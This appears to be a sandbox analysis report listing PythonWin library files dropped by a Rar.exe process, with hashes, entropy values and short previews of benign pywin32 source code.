Preview:	# vss.py -- Source Control using Microsoft VSS...# Provides routines for checking files out of VSS..#.# Uses an INI file very similar to how VB integrates with VSS - even.# as far as using the same name...# The file must be named "Mssccprj.scc", and be in the format of.# an INI file. This file may be in a parent directory, in which.# case the project name will be built from what is specified in the.# ini file, plus the path from the INI file to the file itself..#.# The INI file should have a [Python] section, and a.# Project=Project Name.# and optionally.# Database=??...import os.import sys.import traceback..import win32api.import win32ui..g_iniName = "Mssccprj.scc" # Use the same INI name as VB!..g_sourceSafe = None...def FindVssProjectInfo(fullfname):. """Looks up the file system for an INI file describing the project... Looking up the tree is for ni style packages... Returns (projectName, pathToFileName) where pathToFileName contains. the path from the ini file to the

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\help.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script text executable Python script, ASCII text executable
Category:	dropped
Size (bytes):	5650
Entropy (8bit):	4.72058456476038
Encrypted:	false
SSDEEP:	96:0OE6xRFsaobwYSJRzaj8N7XyIV7SuU9hyoVE4rMur8m4mM1np9sbexg:0RwYQRucryKWE44CfAp9sbea
MD5:	B12DFEEC2AB8B1758C1567D42C490B7B
SHA1:	DEF28BEE0C8FD8D60FBF0FA24B27232FF7E242C1
SHA-256:	AE8B27C1BE4EC2C6F7031D5C648949A1AD3A97ED2348BDD6D4015B9BF2E5FC78
SHA-512:	65672DE52090E79AE6FAB0637FB438323B2C9B049CBF44FDF69538D736DC92FD30445F9FC809833F1EB265FB85097272D11C48DDA62ADC6526D07E6E9B53DDD6
Malicious:	false
Reputation:	low
Preview:	# help.py - help utilities for PythonWin..import os..import regutil.import win32api.import win32con.import win32ui..htmlhelp_handle = None..html_help_command_translators = {. win32con.HELP_CONTENTS: 1, # HH_DISPLAY_TOC. win32con.HELP_CONTEXT: 15, # HH_HELP_CONTEXT. win32con.HELP_FINDER: 1, # HH_DISPLAY_TOC.}...def FinalizeHelp():. global htmlhelp_handle. if htmlhelp_handle is not None:. import win32help.. try:. # frame = win32ui.GetMainFrame().GetSafeHwnd(). frame = 0. win32help.HtmlHelp(frame, None, win32help.HH_UNINITIALIZE, htmlhelp_handle). except win32help.error:. print("Failed to finalize htmlhelp!"). htmlhelp_handle = None...def OpenHelpFile(fileName, helpCmd=None, helpArg=None):. "Open a help file, given a full path". # default help arg.. win32ui.DoWaitCursor(1). try:. if helpCmd is None:. helpCmd = win32con.HELP_CONTENTS. ext = os.path.splitext(fileNam

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\interact.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	35912
Entropy (8bit):	4.631604153784839
Encrypted:	false
SSDEEP:	384:x5X6GNjA+JE6JetPRGWrxoEAMcveFlGPDb22OzrDCqFq6CiTQ8ZUyI:xgGNjA+W6sbUkQok
MD5:	9CD632F14BE177B77B27EFA15380F89E
SHA1:	8609338B1A19E2991EF6A331051FCC046197FD8A
SHA-256:	7A37B60603FE6C5F541383AF8CC835DF73062B4CE72491E342D566AC3168F031
SHA-512:	230E5F663B955036E627162585D41DD85F80589706B326EE6150029B708D4A2D7C53A518339D146F287062D4AF0489B451F9FCEFE683ACEFF8A829E7DB6642AE
Malicious:	false
Reputation:	low
Preview:	##################################################################.##.## Interactive Shell Window.##..import array.import code.import os.import string.import sys.import traceback..import __main__.import afxres.import pywin.framework.app.import pywin.scintilla.control.import pywin.scintilla.formatter.import pywin.scintilla.IDLEenvironment.import win32api.import win32clipboard.import win32con.import win32ui..## sequential after ID_GOTO_LINE defined in editor.py.ID_EDIT_COPY_CODE = 0xE2002.ID_EDIT_EXEC_CLIPBOARD = 0x2003..trace = pywin.scintilla.formatter.trace..import re..from . import winout..# from IDLE.._is_block_opener = re.compile(r":\s(#.)?$").search._is_block_closer = re.compile(. r""". \s*. ( return. \| break. \| continue. \| raise. \| pass. ). \b.""",. re.VERBOSE,.).match..tracebackHeader = "Traceback (".encode("ascii")..sectionProfile = "Interactive Window".valueFormatTitle = "FormatTitle".valueFormatInput = "FormatInput".valueFormatOutput = "FormatO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\intpyapp.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	20154
Entropy (8bit):	4.47952669125256
Encrypted:	false
SSDEEP:	384:YQXph3afslMnEYeo3cRofuJ+gbK+E3sCsphc:YQ5hDlMcafuJ+gXCUc
MD5:	494E4047F3A33557E19707AA57A6762D
SHA1:	607C10F0CC8CF0578C3ABDA73154782478249ECF
SHA-256:	A0735F8B7E4A68D0A90034FB3C6ADF4E2DE58E44AC5261736EEB9F2279B496D0
SHA-512:	5923ABA95A148D885E5E5AA13BDA469FB76DCEBCB1E32B581DD40A086DDD80F9CFD86800432C94C0700DE893775D41F3BFD7F0206D5B3E604110AE552D8D9FF6
Malicious:	false
Reputation:	low
Preview:	# intpyapp.py - Interactive Python application class.#.import os.import sys.import traceback..import __main__.import commctrl.import win32api.import win32con.import win32ui.from pywin.mfc import afxres, dialog..from . import app, dbgcommands..lastLocateFileName = ".py" # used in the "File/Locate" dialog......# todo - _SetupSharedMenu should be moved to a framework class..def _SetupSharedMenu_(self):. sharedMenu = self.GetSharedMenu(). from pywin.framework import toolmenu.. toolmenu.SetToolsMenu(sharedMenu). from pywin.framework import help.. help.SetHelpMenuOtherHelp(sharedMenu)...from pywin.mfc import docview..docview.DocTemplate._SetupSharedMenu_ = _SetupSharedMenu_...class MainFrame(app.MainFrame):. def OnCreate(self, createStruct):. self.closing = 0. if app.MainFrame.OnCreate(self, createStruct) == -1:. return -1. style = (. win32con.WS_CHILD. \| afxres.CBRS_SIZE_DYNAMIC. \| afxres.CBRS_TOP.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\intpydde.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1564
Entropy (8bit):	4.499942146153649
Encrypted:	false
SSDEEP:	24:ph+YT5jFg2RSOmjhvtmAWyAjw88eimLk08AWyAjkEspeejHG9hBHRtWyA:ph+kFVSOmqeii8k08eBEscW47HLA
MD5:	192776AD66CE552D0274AE61888C7F9A
SHA1:	8F4C51333E175B4F23ACB4D7FA1BFC1AF5D0190F
SHA-256:	70FF4889CF52DB82518A24C5EF8CD7666E26DEB0C05EC5769579EA5634542AF8
SHA-512:	CD74E054097A2A4BDAEA83BB8AF338CA27B95427D623CD423187E0A19E43EDABBCFB805600A2027FD711E161DFF585DBCB41102106BBCE60BFBB58F5DDC29978
Malicious:	false
Reputation:	low
Preview:	# DDE support for Pythonwin.#.# Seems to work fine (in the context that IE4 seems to have broken.# DDE on _all_ NT4 machines I have tried, but only when a "Command Prompt" window.# is open. Strange, but true. If you have problems with this, close all Command Prompts!...import sys.import traceback..import win32api.import win32ui.from dde import *.from pywin.mfc import object...class DDESystemTopic(object.Object):. def __init__(self, app):. self.app = app. object.Object.__init__(self, CreateServerSystemTopic()).. def Exec(self, data):. try:. # ...print "Executing", cmd. self.app.OnDDECommand(data). except:. t, v, tb = sys.exc_info(). # The DDE Execution failed.. print("Error executing DDE command."). traceback.print_exception(t, v, tb). return 0...class DDEServer(object.Object):. def __init__(self, app):. self.app = app. object.Object.__init__(self, CreateServ

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\mdi_pychecker.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	28975
Entropy (8bit):	4.5364847874971765
Encrypted:	false
SSDEEP:	768:vyyYVP+wv0unqp3M8tkNdfoi0EiP+y0EWJWPl6kEF/ylQEqTEfDs2:6yYNB8uutEZ6GEqTEfDs2
MD5:	AF34F4E8CA5665CBD609C8D539D0C899
SHA1:	4748704FF60270C8760970AB0E96ED47900B394B
SHA-256:	5917B87F05758AD32E141DB916B83EBEC85F6C0E953B3C830875249E065638A2
SHA-512:	4289066989BBF6DEA727BD446D5626829C74E5FAC13B0424E7669A5A177A2261C7A0512DA3C4FFF0CC13498D9BB4F770923ECEC24392E598E9F1100B660D2804
Malicious:	false
Reputation:	low
Preview:	######################################################################.##.## The Pychecker MDI Plug-In UserModule for Pythonwin.##.## contributed by Robert Kiendl.##.## Style is similar to (and inherited) from the SGrepMDI UserModule.##.## Usage:.##.## Start Pychecker on current file: Menu/File/New../Pychecker..## Use it: Jump to Pychecker warning source lines by double-click..## Auto-add "#$pycheck_no" / "#$pycheck_no=specific-re-pattern" tags.## to source lines by context/right-mouse-click on warning lines..##.## It requires pychecker installed and the pychecker.bat to be on.## the PATH. Example pychecker.bat:.##.## REM pychecker.bat.## C:\bin\python.exe C:\PYTHON23\Lib\site-packages\pychecker\checker.py %1 %2 %3 %4 %5 %6 %7 %8 %9.##.## Adding it as default module in PythonWin:.##.## +++ ./intpyapp.py.2006-10-02 17:59:32.974161600 +0200.## @@ -272,7 +282,7 @@.## .def LoadUserModules(self, moduleNames = None):.## ..# Load the users modules..## ..if moduleNames is None:.## -...d

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\scriptutils.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	23232
Entropy (8bit):	4.625752024930352
Encrypted:	false
SSDEEP:	384:oGBB+9o1Nl4fJsAgdeNVAOdlP9FB7yL8OndbFeEii786sA8:oIWo1Nl4aAX9KFdhZBsA8
MD5:	3FA91AE2F8D827F6F7493636E3EF42DE
SHA1:	A1858B85AB1647DCACE4C5DC1E4D743997AB30AE
SHA-256:	B7BA3C633BD8B912FACDBB0EB706F57785DF1F5137AF6E62503938B3042AAABC
SHA-512:	1EEE85598BFB3405D617CC12FFDF7B51DBD9F689E3634054FB23C56AB56BC94D33F13189FECAC9D95041B6C4FA351CC9D3C079D97ED9E9B38B7BBB1108813E8F
Malicious:	false
Reputation:	low
Preview:	""".Various utilities for running/importing a script.""".import bdb.import linecache.import os.import sys.import traceback..import __main__.import win32api.import win32con.import win32ui.from pywin.mfc import dialog.from pywin.mfc.docview import TreeView..from .cmdline import ParseArgs..RS_DEBUGGER_NONE = 0 # Dont run under the debugger..RS_DEBUGGER_STEP = 1 # Start stepping under the debugger.RS_DEBUGGER_GO = 2 # Just run under the debugger, stopping only at break-points..RS_DEBUGGER_PM = 3 # Dont run under debugger, but do post-mortem analysis on exception...debugging_options = """No debugging.Step-through in the debugger.Run in the debugger.Post-Mortem of unhandled exceptions""".split(. "\n".)..byte_cr = "\r".encode("ascii").byte_lf = "\n".encode("ascii").byte_crlf = "\r\n".encode("ascii")...# A dialog box for the "Run Script" command..class DlgRunScript(dialog.Dialog):. "A class for the 'run script' dialog".. def __init__(self, bHaveDebugger):. dialog.Dialog.__i

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\sgrepmdi.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	24972
Entropy (8bit):	4.450431007513399
Encrypted:	false
SSDEEP:	768:H+YGPXCcujMf3MfDHIt0EiP+y0EiJW9elQENe8aQg:eYKScuLDHWGENe8aQg
MD5:	739FD32DA981B43D1CC9F7E98720017C
SHA1:	6EC45280E74CADCA61EA3BD1FEB16E23234E0284
SHA-256:	312C260C2E0385B6FBFE92975FC48943A8CEB34AF93D33D76E71497235CF155A
SHA-512:	56072052F6AABA2AFFAE9FEDBB3CDE6FE797720953645F65E741A01A8CEAC5FC04892F408076B1DF192E4F6DF81CDE85D9926CDAE686EBEC106337A67FA3E417
Malicious:	false
Reputation:	low
Preview:	# SGrepMDI is by Gordon McMillan (gmcm@hypernet.com).# It does basically what Find In Files does in MSVC with a couple enhancements..# - It saves any directories in the app's ini file (if you want to get rid.# .of them you'll have to edit the file).# - "Directories" can be directories,.# -.semicolon separated lists of "directories",.# -.environment variables that evaluate to "directories",.# -.registry path names that evaluate to "directories",.# -.all of which is recursive, so you can mix them all up..# - It is MDI, so you can 'nest' greps and return to earlier ones,.# .(ie, have multiple results open at the same time).# - Like FIF, double clicking a line opens an editor and takes you to the line..# - You can highlight text, right click and start a new grep with the selected.# .text as search pattern and same directories etc as before..# - You can save grep parameters (so you don't lose your hardearned pattern).# .from File\|Save.# - You can save grep results by right clicking in t

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\startup.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2847
Entropy (8bit):	4.818753732087679
Encrypted:	false
SSDEEP:	48:MJ7O/20AAgRoSEyd/S4+u3SF6ESlltYCfr5ZiVJEF7xgj8PKOW+cZFQEgD9L62D6:KK/2ugRUyd/S4f3oS/e0r6Iaj8C3YAO6
MD5:	6F528ECE40B18F85CB4695E07DEF6DE5
SHA1:	047EF48463C4DFE1129AAA4C357B202F31CAA822
SHA-256:	0DBCAA89CD5101BA15092209C424DC8039082F472E94207632D2875F2F5CBB27
SHA-512:	5C73CD1B0455106A183DF3FF83E5E5925DFE9DC59FF6C1210D6094AF087863897B4295773F6C3F0096F5B32E2A2FA536F97B872EF92F3C76BABA497940C1F7E8
Malicious:	false
Reputation:	low
Preview:	# startup.py.#."The main application startup code for PythonWin."..#.# This does the basic command line handling...# Keep this as short as possible, cos error output is only redirected if.# this runs OK. Errors in imported modules are much better - the messages go somewhere (not any more :-)..import os.import sys..import win32api.import win32ui..if not sys.argv:. # Initialize sys.argv from commandline. When sys.argv is empty list (. # different from [''] meaning "no cmd line arguments" ), then C. # bootstrapping or another method of invocation failed to initialize. # sys.argv and it will be done here. ( This was a workaround for a bug in. # win32ui but is retained for other situations. ). argv = win32api.CommandLineToArgv(win32api.GetCommandLine()). sys.argv = argv[1:]. if os.getcwd() not in sys.path and "." not in sys.path:. sys.path.insert(0, os.getcwd())..# You may wish to redirect error output somewhere useful if you have startup errors..# eg, 'impor

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\stdin.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6584
Entropy (8bit):	4.430368341661001
Encrypted:	false
SSDEEP:	96:S2A0DR1T8Is8HaxCYVN17vkgMMa14OnD0jdc2RoNQtDWjIH8wopCw:Sv091/BHaBvqztDJqtApT
MD5:	779DAA247AD98D623265DD978F8F45B2
SHA1:	228187723DEE7D4C4ECF4721A016E1834757DB96
SHA-256:	5AECCBD881306B45100F09997E93EED403E5D57809517BD7345F4D5ADC120CB6
SHA-512:	9511DE7A479F1311CE4B582D95CE66B101CB667D98AF8DD36580227D1EF048C62CBB8858DBFD7DC5C5C1096357B498D2803F6D9572A73682876080FA8598643F
Malicious:	false
Reputation:	low
Preview:	# Copyright (c) 2000 David Abrahams. Permission to copy, use, modify, sell.# and distribute this software is granted provided this copyright.# notice appears in all copies. This software is provided "as is" without.# express or implied warranty, and with no claim as to its suitability for.# any purpose.."""Provides a class Stdin which can be used to emulate the regular old.sys.stdin for the PythonWin interactive window. Right now it just pops.up a raw_input() dialog. With luck, someone will integrate it into the.actual PythonWin interactive window someday...WARNING: Importing this file automatically replaces sys.stdin with an.instance of Stdin (below). This is useful because you can just open.Stdin.py in PythonWin and hit the import button to get it set up right.if you don't feel like changing PythonWin's source. To put things back.the way they were, simply use this magic incantation:. import sys. sys.stdin = sys.stdin.real_file.""".import sys..try:. get_input_line = raw_input

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\toolmenu.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9369
Entropy (8bit):	4.707765657430447
Encrypted:	false
SSDEEP:	192:xthkUOPG+/2okmwXMdGwstrsgKQQJ3pcSPupD2yIAZw6cRoKd:xthXOPG+8MQwsFsJQQJEf2
MD5:	9EC0D59C03FD3B953B91793523CAC864
SHA1:	5A6153011FD0A34FC0D51E70F011E9AFA8C78863
SHA-256:	DE941FAB3EDD0213569A624E7F2DFC744D29A9282CCEFFA20E278B273F651220
SHA-512:	0670C2BFB1C7A6A7C0CA6ABE898390F44D762383745666A8F812C0077206F79C852F61F596F16B82867CC1736E919103909A3533E18FEFC2DA61C4A37AE932D7
Malicious:	false
Reputation:	low
Preview:	# toolmenu.py..import sys..import win32api.import win32con.import win32ui..from . import app..tools = {}.idPos = 100..# The default items should no tools menu exist in the INI file..defaultToolMenuItems = [. ("Browser", "win32ui.GetApp().OnViewBrowse(0,0)"),. (. "Browse PythonPath",. "from pywin.tools import browseProjects;browseProjects.Browse()",. ),. ("Edit Python Path", "from pywin.tools import regedit;regedit.EditRegistry()"),. ("COM Makepy utility", "from win32com.client import makepy;makepy.main()"),. (. "COM Browser",. "from win32com.client import combrowse;combrowse.main(modal=False)",. ),. (. "Trace Collector Debugging tool",. "from pywin.tools import TraceCollector;TraceCollector.MakeOutputWindow()",. ),.]...def LoadToolMenuItems():. # Load from the registry.. items = []. lookNo = 1. while 1:. menu = win32ui.GetProfileVal("Tools Menu\\%s" % lookNo, "", ""). if menu == "":.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\window.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	535
Entropy (8bit):	4.9611604606840505
Encrypted:	false
SSDEEP:	12:HiTUyF6H3cWLwv9K1N1eSA+sV5S3Z6osf+Z6RLvDI6Xvn:HMUDMZ1U/e5/vS3ZDzZ+LbIon
MD5:	57D70F791843C91E65EE5E218775EDED
SHA1:	2594F2BAAA48A797FF9867C014A05A48644181CA
SHA-256:	89566D4A8CA81DDCD291909915F4C521DF04C4F08BD6EA1E73AAED121487CB08
SHA-512:	C04319B0BB8387B6885414F5542F8550D895360A9B3537F580406EBB9DA1BC3BE38F08B6435A91FF4E071EF0E5B8BD23C11EC8DF298582E437CF04CC12B35F6E
Malicious:	false
Reputation:	low
Preview:	# Framework Window classes...# Most Pythonwin windows should use these classes rather than.# the raw MFC ones if they want Pythonwin specific functionality..import pywin.mfc.window.import win32con...class MDIChildWnd(pywin.mfc.window.MDIChildWnd):. def AutoRestore(self):. "If the window is minimised or maximised, restore it.". p = self.GetWindowPlacement(). if p[1] == win32con.SW_MINIMIZE or p[1] == win32con.SW_SHOWMINIMIZED:. self.SetWindowPlacement(p[0], win32con.SW_RESTORE, p[2], p[3], p[4]).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\framework\winout.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	20312
Entropy (8bit):	4.581654387141737
Encrypted:	false
SSDEEP:	192:OgI9C73YcqsFayUTx2kLt8DJ/kZfuz/+cyyRO9VS8r9iRoohZrKq5tVIXCrU0ZFm:g6qdLtSQuz/HyyI3SoYrb5PFU0Z1xSr
MD5:	9EB4277350EB49CB90C442D49ECA0631
SHA1:	17493C9248F1769BC6072C26DE77A879D9B9A262
SHA-256:	4A47F88AAE5E5B212869FC60828C2B53CDE3DC4B1F11B49889B59F65938BA26F
SHA-512:	8A05409A206E39A73C173F50AE85E06747237D75F7DB752B54645271670D1FFF099519C57965DB7376CA5A1249D5DD949D21F9033956E559F3392C3848B7DFBA
Malicious:	false
Reputation:	low
Preview:	# winout.py.#.# generic "output window".#.# This Window will detect itself closing, and recreate next time output is.# written to it...# This has the option of writing output at idle time (by hooking the.# idle message, and queueing output) or writing as each.# write is executed..# Updating the window directly gives a jerky appearance as many writes.# take place between commands, and the windows scrolls, and updates etc.# Updating at idle-time may defer all output of a long process, giving the.# appearence nothing is happening..# There is a compromise "line" mode, which will output whenever.# a complete line is available...# behaviour depends on self.writeQueueing..# This module is thread safe - output can originate from any thread. If any thread.# other than the main thread attempts to print, it is always queued until next idle time..import queue.import re..import win32api.import win32con.import win32ui.from pywin.framework import app, window.from pywin.mfc import docview..debug = la

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\idle\AutoExpand.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2714
Entropy (8bit):	4.1476646118507166
Encrypted:	false
SSDEEP:	48:7vWXdGptGxEeDlKcX33TplsHcM6rqQEeySqsHYu5sy+RMJdNoPzeaqeL7gH2:tLGrXdaQqf6VoGlAgW
MD5:	3EB71BFBAA8E711E20947793841139C0
SHA1:	71088FBC63CD92116EF379E2FA903174B4C1E59B
SHA-256:	E965226123BDEF4C98961BBB5BA88083F4E95AE42A07C4EE9F05D9DC6D22F009
SHA-512:	46FA954AE4BD9BCE3446F6C472446DF8F18B6B562227087F5251BAADEEAEDCE9506B078BE686625EBFADEC3DDD02321E336632A59482BB418C123396881F6971
Malicious:	false
Reputation:	low
Preview:	import re.import string..###$ event <<expand-word>>.###$ win <Alt-slash>.###$ unix <Alt-slash>...class AutoExpand:. keydefs = {. "<<expand-word>>": ["<Alt-slash>"],. }.. unix_keydefs = {. "<<expand-word>>": ["<Meta-slash>"],. }.. menudefs = [. (. "edit",. [. ("E_xpand word", "<<expand-word>>"),. ],. ),. ].. wordchars = string.ascii_letters + string.digits + "_".. def __init__(self, editwin):. self.text = editwin.text. self.text.wordlist = None # XXX what is this?. self.state = None.. def expand_word_event(self, event):. curinsert = self.text.index("insert"). curline = self.text.get("insert linestart", "insert lineend"). if not self.state:. words = self.getwords(). index = 0. else:. words, index, insert, line = self.state. if insert != curinsert or line != curline:. words = self

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\idle\AutoIndent.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	20682
Entropy (8bit):	4.252065700758349
Encrypted:	false
SSDEEP:	384:kRBIJcF+o2ERXDljJwNBGsTACLu09QQhpyviqR66AARcTNh:kRqaDxDVJSACGR66AFh
MD5:	DC3B0E008D701AB5D77BDDB4A99F2046
SHA1:	424295FB0EF10C3677A893C6FAE6550A78D824FC
SHA-256:	8D0E00FAF18D7CDECFE4BB2C6961DB8DFBE73ED829042558B7A2AF59C8020DD8
SHA-512:	611A18CEEECEFFD56F02DFF50A4331EB09DFC2DA7805CCD28B8775EBCB4CCB2565BA23B5221C3EB8F517E5161A8EBEA8EADD978A880E284F550C6E76D908447F
Malicious:	false
Reputation:	low
Preview:	import sys.import tokenize..from pywin import default_scintilla_encoding..from . import PyParse..if sys.version_info < (3,):. # in py2k, tokenize() takes a 'token eater' callback, while. # generate_tokens is a generator that works with str objects.. token_generator = tokenize.generate_tokens.else:. # in py3k tokenize() is the generator working with 'byte' objects, and. # token_generator is the 'undocumented b/w compat' function that. # theoretically works with str objects - but actually seems to fail). token_generator = tokenize.tokenize...class AutoIndent:. menudefs = [. (. "edit",. [. None,. ("_Indent region", "<<indent-region>>"),. ("_Dedent region", "<<dedent-region>>"),. ("Comment _out region", "<<comment-region>>"),. ("U_ncomment region", "<<uncomment-region>>"),. ("Tabify region", "<<tabify-region>>"),. ("Untabify region",

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\idle\CallTips.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6372
Entropy (8bit):	4.331987781000828
Encrypted:	false
SSDEEP:	96:lbcnr/2NIhNSk8NLN7r77rUsgMuEB83xoCBs5qqsbAgVI/FnNn:lvSq5nLU7nqgov0kNNn
MD5:	8E4C2D3EBA3C17961CA827664F893BCF
SHA1:	E4C8E37C90E02158FEC807C433912043F7DA95E8
SHA-256:	3A3454E10F5519974B2E257DB21ECEF56113ED7E749E05D7BEAA9DEFA29C3088
SHA-512:	BD9DC7F1D8CE86BCC50DC80F75154F7540784DDAD55C62626FAEE2AB8D6367A0ECE4F22F559ACBEB0381FAE97B7B1F10320C3C4005B7EFF68B8619D5E38C35DE
Malicious:	false
Reputation:	low
Preview:	# CallTips.py - An IDLE extension that provides "Call Tips" - ie, a floating window that.# displays parameter information as you open parens...import inspect.import string.import sys.import traceback...class CallTips:. menudefs = [].. keydefs = {. "<<paren-open>>": ["<Key-parenleft>"],. "<<paren-close>>": ["<Key-parenright>"],. "<<check-calltip-cancel>>": ["<KeyRelease>"],. "<<calltip-cancel>>": ["<ButtonPress>", "<Key-Escape>"],. }.. windows_keydefs = {}.. unix_keydefs = {}.. def __init__(self, editwin):. self.editwin = editwin. self.text = editwin.text. self.calltip = None. if hasattr(self.text, "make_calltip_window"):. self._make_calltip_window = self.text.make_calltip_window. else:. self._make_calltip_window = self._make_tk_calltip_window.. def close(self):. self._make_calltip_window = None.. # Makes a Tk based calltip window. Used by IDLE, but not Pythonwin.. # S

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\idle\FormatParagraph.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5727
Entropy (8bit):	4.394603822126328
Encrypted:	false
SSDEEP:	96:5JDTx9FYoxvd46boQCPDvMX/+xCeRHdAi+gXFA0xl/yk/yd/aQ:T66vztpXGxCeRHdRtFAml6k6dCQ
MD5:	3CF25A5E5CB7402B113937BDAB4CC1B9
SHA1:	E357FC507FDBFA7C2D5DB9FAB73DAA6A4CFF6B5A
SHA-256:	C7809EB50F1FCF8F85E3D0867924DF2047FE121F13CF526CEBCB1401466BBCCD
SHA-512:	D51C0CE656C2A2A37DF6FBA135C3E3B9066F42626C722267D38C677D2BD591C6C8AC59CDB4AEBB4FBA444C0AEC9062FE333B598E61062EC6B6A6BD1B0F8F23B4
Malicious:	false
Reputation:	low
Preview:	# Extension to format a paragraph..# Does basic, standard text formatting, and also understands Python.# comment blocks. Thus, for editing Python source code, this.# extension is really only suitable for reformatting these comment.# blocks or triple-quoted strings...# Known problems with comment reformatting:.# * If there is a selection marked, and the first line of the.# selection is not complete, the block will probably not be detected.# as comments, and will have the normal "text formatting" rules.# applied..# * If a comment block has leading whitespace that mixes tabs and.# spaces, they will not be considered part of the same block..# * Fancy comments, like this bulleted list, arent handled :-)..import re...class FormatParagraph:. menudefs = [. (. "edit",. [. ("Format Paragraph", "<<format-paragraph>>"),. ],. ). ].. keydefs = {. "<<format-paragraph>>": ["<Alt-q>"],. }.. unix_keydefs = {.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\idle\IdleHistory.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3069
Entropy (8bit):	4.1340413851981355
Encrypted:	false
SSDEEP:	48:WI0VjbvYV2MFTxMYlSqp/sNXQp/A7d/XdifpdUB6zDOngrQ6B+w:7InF2NfjW8A75XdiRdaADOgEs+w
MD5:	B815FCA1AF9503A92419F20246D48ABD
SHA1:	1CB99DA007989D2EA3269A85486EFF1DAF3D8F2E
SHA-256:	BCE4E7E672276D01D69ED79C7ED1D9F5889006AD6B3FBAC602CAC9B355BC0947
SHA-512:	619BFF443025CE7D70EF72DC84F1CC68EB3E6F0F80B8A129F132C49C025AD9C9E82D4B0B892B75C789E80CB4FD593A7090747F8D66E135C3F870D87DDDC80B1B
Malicious:	false
Reputation:	low
Preview:	class History:. def __init__(self, text, output_sep="\n"):. self.text = text. self.history = []. self.history_prefix = None. self.history_pointer = None. self.output_sep = output_sep. text.bind("<<history-previous>>", self.history_prev). text.bind("<<history-next>>", self.history_next).. def history_next(self, event):. self.history_do(0). return "break".. def history_prev(self, event):. self.history_do(1). return "break".. def _get_source(self, start, end):. # Get source code from start index to end index. Lines in the. # text control may be separated by sys.ps2 .. lines = self.text.get(start, end).split(self.output_sep). return "\n".join(lines).. def _put_source(self, where, source):. output = self.output_sep.join(source.split("\n")). self.text.insert(where, output).. def history_do(self, reverse):. nhist = len(self.history). pointer =

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\idle\PyParse.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	18492
Entropy (8bit):	4.094627670715275
Encrypted:	false
SSDEEP:	384:kDSC3LGcWXNFHTMX+G/54PXcbXS/4/2ezRp8CRbJbl31Ia7If5I41e4/IAL3/0kh:kDfq3fpG/5+XcbXS/4/2ezhbJbef5I4V
MD5:	2881726294DCF58E56EFB900C5A0F8D3
SHA1:	DAB83CA4EC35577579E0DA320A0230D985640A9A
SHA-256:	43F04DAAC0C47DCA9A7B2507B1445BA876DEBF73B658F7F62D0A0E44B6666196
